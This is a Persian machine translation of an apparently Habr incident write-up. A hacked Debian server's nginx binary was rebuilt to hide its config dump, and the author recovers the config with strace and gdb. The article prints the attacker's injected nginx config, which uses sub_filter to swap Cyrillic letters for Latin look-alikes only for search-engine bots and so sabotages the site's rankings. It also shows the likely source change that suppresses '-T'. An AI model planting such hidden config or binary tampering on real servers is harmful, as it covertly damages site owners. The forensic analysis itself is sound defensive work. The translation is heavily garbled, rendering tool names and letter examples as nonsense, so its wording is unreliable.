زمانی که «الف» با «الف» برابر نباشد. در پی یک هک

یک داستان ناخوشایند برای یکی از دوستانم اتفاق افتاد. اما به همان اندازه که برای میخائیل ناخوشایند بود، به همان اندازه برای من سرگرم کننده بود.

باید بگویم که دوست من کاملاً است UNIX-user: می تواند خودش سیستم را نصب کند خروجی زیر, پی اچ پی و تنظیمات ساده ای انجام دهید انجیناکس.
و او یک دوجین یا یک و نیم وب سایت دارد که به ابزارهای ساختمانی اختصاص داده شده است.

یکی از این سایت‌های اختصاص داده شده به اره‌های برقی در صدر موتورهای جستجو قرار دارد. این سایت یک بررسی کننده غیرتجاری است، اما شخصی عادت کرده است که به آن حمله کند. که از DDoS، سپس brute force، سپس کامنت های فحاشی می نویسند و سوء استفاده ها را به هاستینگ و RKN ارسال می کنند.
ناگهان همه چیز آرام شد و این آرامش خوب نبود و سایت به تدریج شروع به ترک خطوط بالای نتایج جستجو کرد.

زمانی که «الف» با «الف» برابر نباشد. در پی یک هک

این یک ضرب المثل بود، سپس داستان خود مدیر.

نزدیک خواب بود که تلفن زنگ زد: "سان، به سرور من نگاه نمی کنی؟ به نظر من هک شدم، نمی توانم آن را ثابت کنم، اما این احساس برای هفته سوم من را ترک نکرده است. شاید وقت آن رسیده است که برای پارانویا درمان شوم؟»

آنچه در ادامه می‌آید یک بحث نیم ساعته بود که می‌توان آن را به شرح زیر خلاصه کرد:

  • خاک برای هک بسیار حاصلخیز بود.
  • یک مهاجم می تواند حقوق ابرکاربر را به دست آورد.
  • حمله (اگر صورت گرفته باشد) به طور خاص در این سایت هدف قرار گرفته است.
  • مناطق مشکل اصلاح شده اند و شما فقط باید بفهمید که آیا نفوذی وجود داشته است یا خیر.
  • هک نمی تواند روی کد سایت و پایگاه داده تاثیر بگذارد.

در مورد نکته آخر.

زمانی که «الف» با «الف» برابر نباشد. در پی یک هک

فقط IP frontend سفید به دنیا نگاه می کند. هیچ تبادلی بین بک‌اند و فرانت‌اند به جز http(ها) وجود ندارد، کاربران/رمزهای عبور متفاوت هستند، هیچ کلیدی رد و بدل نشد. در آدرس های خاکستری، همه پورت ها به جز 80/443 بسته هستند. IP های پشتیبان سفید را فقط دو کاربر می شناسند که Mikhail کاملاً به آنها اعتماد دارد.

در قسمت جلویی نصب شده است دبیان 9 و در زمان برقراری تماس، سیستم توسط یک فایروال خارجی از جهان جدا شده و متوقف می شود.

«باشه، به من اجازه دسترسی بده،» تصمیم می‌گیرم یک ساعت بخوابم. "با چشمان خودم خواهم دید."

اینجا و بیشتر:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

به دنبال یک هک احتمالی

ابتدا سرور را راه اندازی می کنم حالت نجات. دیسک ها را سوار می کنم و ورق می زنم تصدیق -سیاههها، تاریخ، لاگ های سیستم و غیره، در صورت امکان، تاریخ های ایجاد فایل را بررسی می کنم، اگرچه می دانم که یک کرکر معمولی پس از خود "جارو" می کرد و میشا قبلاً در حالی که به دنبال خودش می گشت خیلی "پایین زده بود" .

من در حالت عادی شروع می کنم، هنوز واقعاً متوجه نشده ام که به دنبال چه چیزی بگردم، تنظیمات را مطالعه می کنم. اول از همه، من علاقه مند هستم انجیناکس از آنجا که، به طور کلی، هیچ چیز دیگری به جز آن در جلوی صفحه وجود ندارد.
تنظیمات کوچک هستند، به خوبی در ده ها فایل ساختار یافته اند، من فقط آنها را نگاه می کنم گربهاوه یکی یکی به نظر می رسد همه چیز تمیز است، اما هرگز نمی دانید که آیا چیزی را از دست داده ام یا خیر شامل، اجازه دهید یک لیست کامل ایجاد کنم:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

من متوجه نشدم: "فهرست کجاست؟"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

سؤال دوم به سؤال فهرست اضافه شده است: "چرا چنین نسخه قدیمی nginx؟"

علاوه بر این، سیستم معتقد است که آخرین نسخه نصب شده است:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

من زنگ می زنم:
- میشا، چرا دوباره جمع شدی انجیناکس?
- صبر کن، من حتی نمی دانم چگونه این کار را انجام دهم!
- باشه برو بخواب...

Nginx به وضوح بازسازی شده است و خروجی فهرست با استفاده از "-T" به دلیلی پنهان می شود. دیگر در مورد هک شکی وجود ندارد و می توانید به سادگی آن را بپذیرید و (از آنجایی که میشا به هر حال سرور را با سرور جدید جایگزین کرد) مشکل را حل شده در نظر بگیرید.

و در واقع، از زمانی که کسی حقوق را دریافت کرد ریشهآه، پس انجام دادن آن منطقی است نصب مجدد سیستم، و بی فایده بود که در آنجا به دنبال چه چیزی بگردیم، اما این بار کنجکاوی خواب را شکست داد. چگونه می توانیم بفهمیم که آنها چه چیزی را می خواستند از ما پنهان کنند؟

بیایید سعی کنیم ردیابی کنیم:

$ strace nginx -T

ما به آن نگاه می کنیم، به وضوح خطوط کافی در ردیابی لا وجود ندارد

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

فقط برای سرگرمی، بیایید یافته ها را با هم مقایسه کنیم.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

فکر می کنم بخشی از کد است /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

به فرم آورده شد:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

یا

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

بنابراین فهرست "-T" نمایش داده نمی شود.

اما چگونه می توانیم تنظیمات خود را مشاهده کنیم؟

اگر فکر من درست باشد و مشکل فقط در متغیر باشد ngx_dump_config بیایید سعی کنیم آن را با استفاده از آن نصب کنیم gdb، خوشبختانه یک کلید وجود دارد --with-cc-opt -g در حال حاضر و امیدواریم که بهینه سازی -O2 به درد ما نمی خورد در عین حال، از آنجایی که من نمی دانم چگونه ngx_dump_config قابل پردازش در مورد 'T':، ما این بلوک را فراخوانی نمی کنیم، بلکه با استفاده از آن نصب می کنیم مورد 't':

چرا می توانید از -t و همچنین -T استفاده کنیدپردازش بلوک if (ngx_dump_config) در داخل اتفاق می افتد if (ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

البته در صورت تغییر کد در این قسمت و نه در مورد 'T':، پس روش من کار نخواهد کرد.

nginx.conf را تست کنیدبا حل آزمایشی مشکل، مشخص شد که حداقل پیکربندی برای کار کردن بدافزار مورد نیاز است. انجیناکس نوع:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

برای اختصار در مقاله از آن استفاده خواهیم کرد.

دیباگر را راه اندازی کنید

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

مراحل:

  • یک نقطه شکست در تابع تعیین کنید اصلی ()
  • برنامه را راه اندازی کنید
  • مقدار متغیری که خروجی پیکربندی را تعیین می کند را تغییر دهید ngx_dump_config=1
  • ادامه/پایان برنامه

همانطور که می بینیم، پیکربندی واقعی با ما متفاوت است، ما یک قطعه انگلی را از آن انتخاب می کنیم:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

بیایید به ترتیب به آنچه در اینجا اتفاق می افتد نگاهی بیندازیم.

مشخص نماینده کاربر's yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

صفحات خدمات مستثنی هستند وردپرس:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

و برای کسانی که تحت هر دو شرایط فوق قرار می گیرند

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

در متن اچ تی ام ال-صفحات تغییر می کنند 'O' بر "او" и 'آ' بر 'آ':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

درست است، تنها نکته ظریف این است 'a' != 'a' درست مثل 'o' != 'o':

زمانی که «الف» با «الف» برابر نباشد. در پی یک هک

بنابراین، ربات های موتور جستجو، به جای متن 100٪ سیریلیک معمولی، زباله های اصلاح شده رقیق شده با لاتین را دریافت می کنند. 'آ' и "او". من جرات ندارم در مورد چگونگی تأثیر این موضوع بر سئو بحث کنم، اما بعید است که چنین ترکیبی از حروف تأثیر مثبتی بر موقعیت ها در نتایج جستجو داشته باشد.

بچه های با تخیل چی بگم

مراجع

اشکال زدایی با GDB
gdb(1) - صفحه مرد لینوکس
strace(1) - صفحه مرد لینوکس
Nginx - ماژول ngx_http_sub_module
درباره اره، اره برقی و اره برقی

منبع: www.habr.com

اضافه کردن نظر